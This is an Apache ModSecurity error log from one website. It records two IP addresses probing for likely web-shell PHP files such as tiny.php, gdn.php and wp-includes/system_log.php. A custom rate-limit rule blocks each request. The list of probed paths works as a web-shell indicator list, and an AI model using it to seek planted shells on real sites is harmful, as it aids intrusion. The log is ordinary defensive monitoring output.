[Mon Dec 15 20:17:49.139167 2025] [:error] [pid 31373:tid 31428] [client 20.27.228.201:17718] [client 20.27.228.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-cron.php"] [unique_id "aT_8bXFdnrU7ASwItVLY2gAAANc"]
[Mon Dec 15 20:17:51.481248 2025] [:error] [pid 31372:tid 31376] [client 20.27.228.201:12224] [client 20.27.228.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/build.php"] [unique_id "aT_8bwN06qRtpJxyxHiZ6wAAAIA"]
[Mon Dec 15 20:17:54.385982 2025] [:error] [pid 31372:tid 31382] [client 20.27.228.201:12248] [client 20.27.228.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/build.php"] [unique_id "aT_8cgN06qRtpJxyxHiZ9AAAAIY"]
[Mon Dec 15 20:17:56.080625 2025] [:error] [pid 31374:tid 31453] [client 20.27.228.201:17742] [client 20.27.228.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/build.php"] [unique_id "aT_8dJzSh8b7uk6RWiFaCwAAAFU"]
[Mon Dec 15 20:17:57.204200 2025] [:error] [pid 31374:tid 31434] [client 20.27.228.201:12258] [client 20.27.228.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/build.php"] [unique_id "aT_8dZzSh8b7uk6RWiFaDQAAAEI"]
[Mon Dec 15 20:17:58.321482 2025] [:error] [pid 31374:tid 31452] [client 20.27.228.201:17710] [client 20.27.228.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/images/index.php"] [unique_id "aT_8dpzSh8b7uk6RWiFaEQAAAFQ"]
[Mon Dec 15 20:17:58.940327 2025] [:error] [pid 31459:tid 31463] [client 20.27.228.201:17763] [client 20.27.228.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/images/index.php"] [unique_id "aT_8djqerS0TDpViRztesQAAAAI"]
[Mon Dec 15 20:17:59.749712 2025] [:error] [pid 31372:tid 31385] [client 20.27.228.201:17691] [client 20.27.228.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/images/index.php"] [unique_id "aT_8dwN06qRtpJxyxHiZ-gAAAIk"]
[Mon Dec 15 20:18:01.743948 2025] [:error] [pid 52155:tid 52173] [client 20.27.228.201:17679] [client 20.27.228.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/images/index.php"] [unique_id "aT_8eRaJK6javjid3xypKQAAAQ8"]
[Mon Dec 15 20:18:02.369220 2025] [:error] [pid 31373:tid 31410] [client 20.27.228.201:12282] [client 20.27.228.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/admin.php"] [unique_id "aT_8enFdnrU7ASwItVLY5gAAAMU"]
[Mon Dec 15 20:18:03.307128 2025] [:error] [pid 31372:tid 31376] [client 20.27.228.201:17709] [client 20.27.228.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/admin.php"] [unique_id "aT_8ewN06qRtpJxyxHiZ-wAAAIA"]
[Mon Dec 15 20:18:13.987598 2025] [:error] [pid 52155:tid 52181] [client 20.27.228.201:12287] [client 20.27.228.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/admin.php"] [unique_id "aT_8hRaJK6javjid3xypNwAAARc"]
[Mon Dec 15 20:18:16.775782 2025] [:error] [pid 31374:tid 31440] [client 20.27.228.201:17715] [client 20.27.228.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/admin.php"] [unique_id "aT_8iJzSh8b7uk6RWiFaHQAAAEg"]
[Mon Dec 15 20:18:17.142218 2025] [:error] [pid 31372:tid 31400] [client 20.27.228.201:12246] [client 20.27.228.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gdn.php"] [unique_id "aT_8iQN06qRtpJxyxHiaBwAAAJg"]
[Mon Dec 15 20:18:17.553260 2025] [:error] [pid 31373:tid 31416] [client 20.27.228.201:12272] [client 20.27.228.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gdn.php"] [unique_id "aT_8iXFdnrU7ASwItVLY8AAAAMs"]
[Mon Dec 15 20:18:17.995807 2025] [:error] [pid 31372:tid 31399] [client 20.27.228.201:17671] [client 20.27.228.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gdn.php"] [unique_id "aT_8iQN06qRtpJxyxHiaCAAAAJc"]
[Mon Dec 15 20:18:18.501073 2025] [:error] [pid 31372:tid 31390] [client 20.27.228.201:12175] [client 20.27.228.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gdn.php"] [unique_id "aT_8igN06qRtpJxyxHiaCgAAAI4"]
[Mon Dec 15 20:18:18.852271 2025] [:error] [pid 31459:tid 31475] [client 20.27.228.201:12192] [client 20.27.228.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/snus.php"] [unique_id "aT_8ijqerS0TDpViRztewwAAAA4"]
[Mon Dec 15 20:18:19.372050 2025] [:error] [pid 31372:tid 31377] [client 20.27.228.201:12189] [client 20.27.228.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/snus.php"] [unique_id "aT_8iwN06qRtpJxyxHiaCwAAAIE"]
[Mon Dec 15 20:18:20.330789 2025] [:error] [pid 31459:tid 31470] [client 20.27.228.201:17747] [client 20.27.228.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/snus.php"] [unique_id "aT_8jDqerS0TDpViRzteyAAAAAk"]
[Mon Dec 15 20:18:20.746906 2025] [:error] [pid 31372:tid 31387] [client 20.27.228.201:12208] [client 20.27.228.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/snus.php"] [unique_id "aT_8jAN06qRtpJxyxHiaDQAAAIs"]
[Mon Dec 15 20:18:21.414103 2025] [:error] [pid 31374:tid 31447] [client 20.27.228.201:12284] [client 20.27.228.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ghreshttryu.php"] [unique_id "aT_8jZzSh8b7uk6RWiFaIAAAAE8"]
[Mon Dec 15 20:18:22.067731 2025] [:error] [pid 31459:tid 31468] [client 20.27.228.201:12232] [client 20.27.228.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ghreshttryu.php"] [unique_id "aT_8jjqerS0TDpViRzteyQAAAAc"]
[Mon Dec 15 20:18:22.641348 2025] [:error] [pid 31374:tid 31444] [client 20.27.228.201:12183] [client 20.27.228.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ghreshttryu.php"] [unique_id "aT_8jpzSh8b7uk6RWiFaIgAAAEw"]
[Mon Dec 15 20:18:22.984458 2025] [:error] [pid 31459:tid 31469] [client 20.27.228.201:12254] [client 20.27.228.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ghreshttryu.php"] [unique_id "aT_8jjqerS0TDpViRzteywAAAAg"]
[Mon Dec 15 20:18:23.771503 2025] [:error] [pid 52155:tid 52169] [client 20.27.228.201:12275] [client 20.27.228.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/as.php"] [unique_id "aT_8jxaJK6javjid3xypQwAAAQs"]
[Mon Dec 15 20:18:24.220443 2025] [:error] [pid 31459:tid 31465] [client 20.27.228.201:17701] [client 20.27.228.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/as.php"] [unique_id "aT_8kDqerS0TDpViRztezQAAAAQ"]
[Mon Dec 15 20:18:24.949644 2025] [:error] [pid 31459:tid 31478] [client 20.27.228.201:12182] [client 20.27.228.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/as.php"] [unique_id "aT_8kDqerS0TDpViRztezwAAABE"]
[Mon Dec 15 20:18:25.420872 2025] [:error] [pid 52155:tid 52167] [client 20.27.228.201:17697] [client 20.27.228.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/as.php"] [unique_id "aT_8kRaJK6javjid3xypRgAAAQk"]
[Mon Dec 15 20:18:26.184824 2025] [:error] [pid 31372:tid 31399] [client 20.27.228.201:17767] [client 20.27.228.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file.php"] [unique_id "aT_8kgN06qRtpJxyxHiaEAAAAJc"]
[Mon Dec 15 20:18:26.891463 2025] [:error] [pid 31459:tid 31461] [client 20.27.228.201:12207] [client 20.27.228.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file.php"] [unique_id "aT_8kjqerS0TDpViRzte0gAAAAA"]
[Mon Dec 15 20:18:27.256966 2025] [:error] [pid 31459:tid 31473] [client 20.27.228.201:12271] [client 20.27.228.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file.php"] [unique_id "aT_8kzqerS0TDpViRzte0wAAAAw"]
[Mon Dec 15 20:18:27.820375 2025] [:error] [pid 31374:tid 31454] [client 20.27.228.201:12244] [client 20.27.228.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file.php"] [unique_id "aT_8k5zSh8b7uk6RWiFaLQAAAFY"]
[Mon Dec 15 20:18:28.135098 2025] [:error] [pid 31459:tid 31464] [client 20.27.228.201:12199] [client 20.27.228.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/.well-known/acme-challenge/admin.php"] [unique_id "aT_8lDqerS0TDpViRzte1gAAAAM"]
[Mon Dec 15 20:18:28.415348 2025] [:error] [pid 52155:tid 52178] [client 20.27.228.201:17736] [client 20.27.228.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/.well-known/acme-challenge/admin.php"] [unique_id "aT_8lBaJK6javjid3xypTwAAARQ"]
[Mon Dec 15 20:18:28.691131 2025] [:error] [pid 31459:tid 31477] [client 20.27.228.201:12118] [client 20.27.228.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/.well-known/acme-challenge/admin.php"] [unique_id "aT_8lDqerS0TDpViRzte1wAAABA"]
[Mon Dec 15 20:18:29.048322 2025] [:error] [pid 52155:tid 52168] [client 20.27.228.201:12184] [client 20.27.228.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/.well-known/acme-challenge/admin.php"] [unique_id "aT_8lRaJK6javjid3xypUQAAAQo"]
[Mon Dec 15 20:18:29.446258 2025] [:error] [pid 31459:tid 31462] [client 20.27.228.201:12238] [client 20.27.228.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/tiny.php"] [unique_id "aT_8lTqerS0TDpViRzte2QAAAAE"]
[Mon Dec 15 20:18:29.857681 2025] [:error] [pid 52155:tid 52169] [client 20.27.228.201:17760] [client 20.27.228.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/tiny.php"] [unique_id "aT_8lRaJK6javjid3xypUgAAAQs"]
[Mon Dec 15 20:18:30.259514 2025] [:error] [pid 52155:tid 52161] [client 20.27.228.201:12168] [client 20.27.228.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/tiny.php"] [unique_id "aT_8lhaJK6javjid3xypUwAAAQM"]
[Mon Dec 15 20:18:30.548279 2025] [:error] [pid 52155:tid 52167] [client 20.27.228.201:12267] [client 20.27.228.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/tiny.php"] [unique_id "aT_8lhaJK6javjid3xypVwAAAQk"]
[Mon Dec 15 20:18:30.832228 2025] [:error] [pid 31373:tid 31419] [client 20.27.228.201:12194] [client 20.27.228.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/rest-api/fields/index.php"] [unique_id "aT_8lnFdnrU7ASwItVLY9gAAAM4"]
[Mon Dec 15 20:18:31.154823 2025] [:error] [pid 31372:tid 31392] [client 20.27.228.201:12191] [client 20.27.228.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/rest-api/fields/index.php"] [unique_id "aT_8lwN06qRtpJxyxHiaFgAAAJA"]
[Mon Dec 15 20:18:31.765643 2025] [:error] [pid 31373:tid 31428] [client 20.27.228.201:12215] [client 20.27.228.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/rest-api/fields/index.php"] [unique_id "aT_8l3FdnrU7ASwItVLY-AAAANc"]
[Mon Dec 15 20:18:32.079096 2025] [:error] [pid 52155:tid 52175] [client 20.27.228.201:12236] [client 20.27.228.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/rest-api/fields/index.php"] [unique_id "aT_8mBaJK6javjid3xypXAAAARE"]
[Mon Dec 15 20:18:32.481000 2025] [:error] [pid 52155:tid 52159] [client 20.27.228.201:12186] [client 20.27.228.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/f35.php"] [unique_id "aT_8mBaJK6javjid3xypXgAAAQE"]
[Mon Dec 15 20:18:33.067238 2025] [:error] [pid 52155:tid 52177] [client 20.27.228.201:17785] [client 20.27.228.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/f35.php"] [unique_id "aT_8mRaJK6javjid3xypYAAAARM"]
[Mon Dec 15 20:18:33.651137 2025] [:error] [pid 31374:tid 31447] [client 20.27.228.201:12172] [client 20.27.228.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/f35.php"] [unique_id "aT_8mZzSh8b7uk6RWiFaNAAAAE8"]
[Mon Dec 15 20:18:34.742393 2025] [:error] [pid 31374:tid 31451] [client 20.27.228.201:12219] [client 20.27.228.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/f35.php"] [unique_id "aT_8mpzSh8b7uk6RWiFaNwAAAFM"]
[Mon Dec 15 20:18:35.177423 2025] [:error] [pid 52155:tid 52171] [client 20.27.228.201:12229] [client 20.27.228.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/system_log.php"] [unique_id "aT_8mxaJK6javjid3xypYgAAAQ0"]
[Mon Dec 15 20:18:35.813754 2025] [:error] [pid 31372:tid 31393] [client 20.27.228.201:12163] [client 20.27.228.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/system_log.php"] [unique_id "aT_8mwN06qRtpJxyxHiaGwAAAJE"]
[Mon Dec 15 20:18:36.430471 2025] [:error] [pid 31372:tid 31390] [client 20.27.228.201:12233] [client 20.27.228.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/system_log.php"] [unique_id "aT_8nAN06qRtpJxyxHiaHAAAAI4"]
[Mon Dec 15 20:18:36.861051 2025] [:error] [pid 31374:tid 31452] [client 20.27.228.201:12119] [client 20.27.228.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/system_log.php"] [unique_id "aT_8nJzSh8b7uk6RWiFaOAAAAFQ"]
[Mon Dec 15 20:40:24.315640 2025] [:error] [pid 31372:tid 31381] [client 4.194.147.174:19270] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/moon.php"] [unique_id "aUABuAN06qRtpJxyxHigmwAAAIU"]
[Mon Dec 15 20:40:24.573888 2025] [:error] [pid 52155:tid 52182] [client 4.194.147.174:19280] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/moon.php"] [unique_id "aUABuBaJK6javjid3xy0sgAAARg"]
